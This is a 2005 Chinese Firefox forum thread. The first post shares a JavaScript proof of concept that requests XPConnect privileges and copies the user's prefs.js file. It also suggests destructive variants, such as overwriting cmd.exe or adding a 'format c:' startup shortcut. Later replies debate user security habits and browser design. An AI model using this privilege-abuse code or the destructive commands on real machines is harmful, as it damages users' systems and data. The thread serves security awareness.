hh9527
小狐狸
小狐狸
  • UID6578
  • 注册日期2005-06-06
  • 最后登录2009-07-07
  • 发帖数49
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
阅读:43561回复:101

应广大 Firefox 的 FANS 要求,写了一个恶意脚本的实例,大家看看

楼主#
更多 发布于:2005-06-07 18:41
首先不要害怕,这个页面没有恶意,却展示了恶意页面的可行性。你要不放心,可以只阅读代码,而不要运行。

运行效果如下:
你只要一点击按钮,Firefox 就会提示你是否运行,如果你选择“是”,那么它将自动把你本地的 prefs.js 复制一份成为 new_prefs.js,如果你选择“否”,那么它会继续提示你 2 次。(整个过程 Firefox 都不会自动的把其中非安全的脚本抑制掉,而是让用户作出选择)

代码如下,附件是其 ZIP 版本。试试看吧

试想:
1. 如果我不是去创建一个 new_prefs.js,而是更改 hostperm.1 把恶意的网站加为 Firefox 信任的网站,那会怎么样?
2. 如果不是写 new_prefs.js,而是直接写你的 cmd.exe 会怎么样?或者在你的启动组里创建上 format c:/u/q 的快捷方式,那有会怎样?
3. 如果我不是 "onload=doBAD(3)" 而是 "onload=doBAD(10000)" 怎么办?

特别要说清楚:这个例子仅用于说明如果没有良好的安全意识,使用任何浏览器(包括 Firefox)都是不安全的。不是攻击 Firefox 的安全性。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
	
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
	<title></title>
	<script type="text/javascript">
	function doREAD(f) {
  		var is = Components.classes["@mozilla.org/network/file-input-stream;1"].createInstance(Components.interfaces.nsIFileInputStream);
  		is.init(f, 0x01, 00004, null);
  		var sis = Components.classes["@mozilla.org/binaryinputstream;1"].createInstance(Components.interfaces.nsIBinaryInputStream);
  		sis.setInputStream(is);
  		var output = sis.readBytes(sis.available());
  		return output;
	}
	
	function doWRITE(f, data) {
		var foStream = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream);
		
		// use 0x02 | 0x10 to open file for appending.
		foStream.init(f, 0x02 | 0x08 | 0x20, 0664, 0); // write, create, truncate
		foStream.write(data, data.length);
		foStream.close();
	}
	
	function doBAD(count) {
		for (var i = 0; i < count; ++i) {
			try {
				var pm = netscape.security.PrivilegeManager;
	      	pm.enablePrivilege('UniversalXPConnect');

				var profs = Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("ProfD", Components.interfaces.nsIFile);
				var new_profs = Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("ProfD", Components.interfaces.nsIFile);
				profs.append('prefs.js');
				new_profs.append('new_prefs.js');
				data = doREAD(profs);
				doWRITE(new_profs, data);
				alert('File copied from [' + profs.path + '] to [' + new_profs.path + '] !');
				break;
			}
			catch(ex) {
				// alert(ex);
			}
		}
	}

	</script>
</head>

<body>
	<button onclick="doBAD(3)">Copy prefs.js to new_prefs.js</button>
</body>
</html>
附件名称/大小 下载次数 最后更新
bad.zip (1KB)  111 2005-06-07 18:23
redtin
小狐狸
小狐狸
  • UID9716
  • 注册日期2005-11-10
  • 最后登录2012-06-30
  • 发帖数13
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
1楼#
发布于:2005-06-07 18:41
说起浩方,我觉得我想的方法比较BT,

替换IE的OCX 插件(我也不清楚叫什么,反正得有个接口)

你的程序用IE,用去吧!
到我的机器上,还不是乖乖的变成火狐的。
just  Dreaming……等待高手ING……
是不是实现几个接口函数就行啊?(我是编程菜鸟,别砸我)
不敢张扬痛骂IE,但求我用火狐舒心。 不看广告,我有权力,支持Ad规则更新。
mopz0506
狐狸大王
狐狸大王
  • UID811
  • 注册日期2004-12-13
  • 最后登录2006-07-13
  • 发帖数539
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
2楼#
发布于:2005-06-07 18:41
PS:凡是问问题不遵照以下说明的,都是大白痴。不知道这样骂一下有没有点效果

请大家在论坛中发问时使用尽量清晰明了的语言来描述你的问题和问题的标题,同时注明你所使用的操作系统和Firefox版本,以及所涉及的扩展、插件、第三方软件和相关网站,这样你才有可能得到及时和准确的帮助。
mopz0506
狐狸大王
狐狸大王
  • UID811
  • 注册日期2004-12-13
  • 最后登录2006-07-13
  • 发帖数539
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
3楼#
发布于:2005-06-07 18:41
我们不能责怪用户喜欢乱点的。

其实论坛上都有新手指南,比如本论坛的
https://www.firefox.net.cn/newforum/viewtopic.php?t=9

说的清清楚楚


请大家在论坛中发问时使用尽量清晰明了的语言来描述你的问题和问题的标题,同时注明你所使用的操作系统和Firefox版本,以及所涉及的扩展、插件、第三方软件和相关网站,这样你才有可能得到及时和准确的帮助。


可是有人照做吗?还不是都贴张谁都看不明白的错误图,其它的要你去逼供?

程序员自己还不是一样,我看到在开发人员的论坛上问问题的,也是这个德性,上来就是一句:我的程序老死机,怎么办啊?

我想这个只能从人性上去解释了
drsu
狐狸大王
狐狸大王
  • UID1387
  • 注册日期2004-12-25
  • 最后登录2008-12-20
  • 发帖数367
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
4楼#
发布于:2005-06-07 18:41
看到提示后,点“是”或者“否”,这是用户的权利,我想大家也不用为此操心了。那个不是我们该操心的事情。再争论也没有结果的。
我认为现在的重点是没有提示而自动运行的恶意代码,如果谁能搞出来,那时候大家再讨论吧。
mopz0506
狐狸大王
狐狸大王
  • UID811
  • 注册日期2004-12-13
  • 最后登录2006-07-13
  • 发帖数539
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
5楼#
发布于:2005-06-07 18:41

恰恰相反,我认为安全手段是为哪些会使用它的人装备的。套用你的话来说:随意点“是”的人,无论他用什么浏览器,安全措施再严格,都会出事。当然你可以不给他任何权限,这样他就会安全了。


呵呵,99% 的用户根本就会点,你那个安全手段再完备有什么用?只是开发人员自己意淫的玩物。

用户中了毒,你能跟他说,这都怪你自己操作不当,我一点责任都没有?

现在是要解决问题,不是撇清责任。用户就这样,开发人员应当想出办法来保护他们,不能要求用户是计算机专家。想想看在选项里提供 USE SSL 2.0、USE SSL 3.0、TLS 1.0,这有什么用?有几个人知道 SSL 2.0 和 SSL 3.0 有什么差别、TLS 是什么玩意啊?这里有人知道吗?

市场空间就在这里。至于如何做到,那是你们开发人员的事情。

也许我们可以把浏览器做成硬盘还原卡那样,第一次设置好以后,重新打开就覆盖一切修改;或者在单独的虚拟机里运行,等等。
abc@home
千年狐狸
千年狐狸
  • UID6047
  • 注册日期2005-05-16
  • 最后登录2011-01-01
  • 发帖数1681
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度1点
6楼#
发布于:2005-06-07 18:41
NTower:...abc@home提到过修改注册表的方法来防止ActiveX的骚扰,但懂得这样做的人又有多少呢?...回到原帖

修改注册表是我提供的3个方法其中之一,有很多国内外软件早已把这个功能自动化,只要导入注册表文件,或花一两分钟便设置好,可以免疫99%以上的多余 activex 安装。而且sp2 或 maxthon 能直接屏蔽 activex 安装, 不需要修改注册表。



WINXP SP2 MAXTHON (UNICODE) PROXOMITRON
我同意
小狐狸
小狐狸
  • UID3797
  • 注册日期2005-03-09
  • 最后登录2005-07-23
  • 发帖数78
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
7楼#
发布于:2005-06-07 18:41
个人认为最大的危险在于不良的使用习惯,如果都能做到以下几点:
1. 尽量使用受限用户访问 WEB

现在最多只能使用Power User用户组,
User用户组限制太多了。不能运行大多数继承应用程序,不能随时安装软件卸载,用别的用户安装了软件还不一定能够用。


这个是由社会关系决定,我没有那么大能力劝服我所有的朋友不用QQ。再说也要支持国产。ICQ出来那么早,在中国还不是没有市场。QQ能占领国内市场,并不受开放协议的影响。

[quote="hh9527"]8. 不使用非浏览器的 IE 外壳(例如:浩方对战平台),因为它可能会导致安全级别的降低以及强迫你访问某些站点。
[/quote]

浩方太恶心了,还有QQ就常常用IE外壳调出广告,迅雷广告也是用的IE外壳,Realplayer也是,WMP也是。

总结:
完了,这样下去确实已经死了。
我是捣蛋的
NTower
小狐狸
小狐狸
  • UID6743
  • 注册日期2005-06-13
  • 最后登录2006-08-07
  • 发帖数1
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
8楼#
发布于:2005-06-07 18:41
同意mopz0506,对于有一定安全意识的人,使用IE 或 FF的区别是不大的,像我用Maxthon很久了也没中过招,从这方面来说我使用FF的迫切性就不很强。

当然,也有像hh9527所说看见对话框就点Yes的人,这样的人我们就拿他没办法了。

不过使用IE时,更多的人是虽然前几次点了“否”,但在不断弹出的对话框的骚扰下终于点了“是”。abc@home提到过修改注册表的方法来防止ActiveX的骚扰,但懂得这样做的人又有多少呢?
而使用FF时则这不会发生这种情况,对于这部分人我们为什么不推荐他们使用FF呢?

我相信这样的人还是不少的,因此FF为提高安全性所作的努力并非完全白费。
zero
hh9527
小狐狸
小狐狸
  • UID6578
  • 注册日期2005-06-06
  • 最后登录2009-07-07
  • 发帖数49
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
9楼#
发布于:2005-06-07 18:41
mopz0506

你说这么多都正确,但也都是废话

你给个对话框,上书三七共二十一个斗大的大字:将要在你的机器上装恶意插件,点接受,点拒绝。

你认为用户会点吗?错,总有一批人会去点

安全问题要解决的是这一部分人的问题。懂得去点的那批人,用什么浏览器都无所谓的。
回到原帖


恰恰相反,我认为安全手段是为哪些会使用它的人装备的。套用你的话来说:随意点“是”的人,无论他用什么浏览器,安全措施再严格,都会出事。当然你可以不给他任何权限,这样他就会安全了。
mopz0506
狐狸大王
狐狸大王
  • UID811
  • 注册日期2004-12-13
  • 最后登录2006-07-13
  • 发帖数539
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
10楼#
发布于:2005-06-07 18:41

系统安全确实主要在于用户自身,Unix系统为什么比较安全,因为对于普通用户,Unix系统只开放了很少的权限。比如普通用户无法运行mount程序,也就是无法挂载软驱、光驱、USB设备等等。当然比较新的Linux系统可以在Xwindow中自动加载移动设备,但同时就降低了系统的安全性,因为需要sudo(名字可能有误)这样的操作临时提升用户权限。
可以说,安全性和易用性之间是有一定矛盾的。比如访问这个论坛,如果一味强调安全性,禁用cookie,那我们就只能每浏览一个页面就要输入一遍用户名和密码了。


你说这么多都正确,但也都是废话

你给个对话框,上书三七共二十一个斗大的大字:将要在你的机器上装恶意插件,点接受,点拒绝。

你认为用户会点吗?错,总有一批人会去点

安全问题要解决的是这一部分人的问题。懂得去点的那批人,用什么浏览器都无所谓的。
pho
pho
千年狐狸
千年狐狸
  • UID4300
  • 注册日期2005-03-22
  • 最后登录2016-12-14
  • 发帖数2597
  • 经验40枚
  • 威望0点
  • 贡献值16点
  • 好评度2点
  • 社区居民
  • 忠实会员
11楼#
发布于:2005-06-07 18:41
嗬嗬,有得就有失
asahi
火狐狸
火狐狸
  • UID927
  • 注册日期2004-12-15
  • 最后登录2007-06-24
  • 发帖数296
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
12楼#
发布于:2005-06-07 18:41


你这几条相当于要某些人去死

客观地说,想要用户对安全负责是不可能起到任何效果的。

明年的 CPU 硬件支持虚拟机,看看能不能把比较危险的应用软件单独放到一个隔离区域里运行,这才是正路。


系统安全确实主要在于用户自身,Unix系统为什么比较安全,因为对于普通用户,Unix系统只开放了很少的权限。比如普通用户无法运行mount程序,也就是无法挂载软驱、光驱、USB设备等等。当然比较新的Linux系统可以在Xwindow中自动加载移动设备,但同时就降低了系统的安全性,因为需要sudo(名字可能有误)这样的操作临时提升用户权限。
可以说,安全性和易用性之间是有一定矛盾的。比如访问这个论坛,如果一味强调安全性,禁用cookie,那我们就只能每浏览一个页面就要输入一遍用户名和密码了。
zhh01pfg
千年狐狸
千年狐狸
  • UID2948
  • 注册日期2005-02-11
  • 最后登录2011-06-15
  • 发帖数1488
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
13楼#
发布于:2005-06-07 18:41
hh9527

你这几条相当于要某些人去死
回到原帖


啊,我死了!
mopz0506
狐狸大王
狐狸大王
  • UID811
  • 注册日期2004-12-13
  • 最后登录2006-07-13
  • 发帖数539
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
14楼#
发布于:2005-06-07 18:41
hh9527

个人认为最大的危险在于不良的使用习惯,如果都能做到以下几点:
1. 尽量使用受限用户访问 WEB
2. 把浏览器的默认的安全级别开到最高,只对确实可靠的 WEB 应用敞开沙箱
3. 注意软件的安全更新,特别是 WINDOWS 和 IE 的 HOTFIX(即便你日常使用 FIREFOX,也应如此);
4. 使用防火墙和杀毒软件
5. 访问时弹出的对话框,要看清楚后再确认。如果某个网站总用对话框骚扰我,就坚决不去上。
6. 日常以访问固定的几个站点为主;尽量不访问 XXX 和 CRACK 站点(许多这类站点都有猫腻),除非你知道它的底细
7. 使用有开放协议的 IM(QQ 不在此列)
8. 不使用非浏览器的 IE 外壳(例如:浩方对战平台),因为它可能会导致安全级别的降低以及强迫你访问某些站点。

做到这些点以后,那么可以认为是比较安全的。
回到原帖


你这几条相当于要某些人去死

客观地说,想要用户对安全负责是不可能起到任何效果的。

明年的 CPU 硬件支持虚拟机,看看能不能把比较危险的应用软件单独放到一个隔离区域里运行,这才是正路。
上一页
游客

返回顶部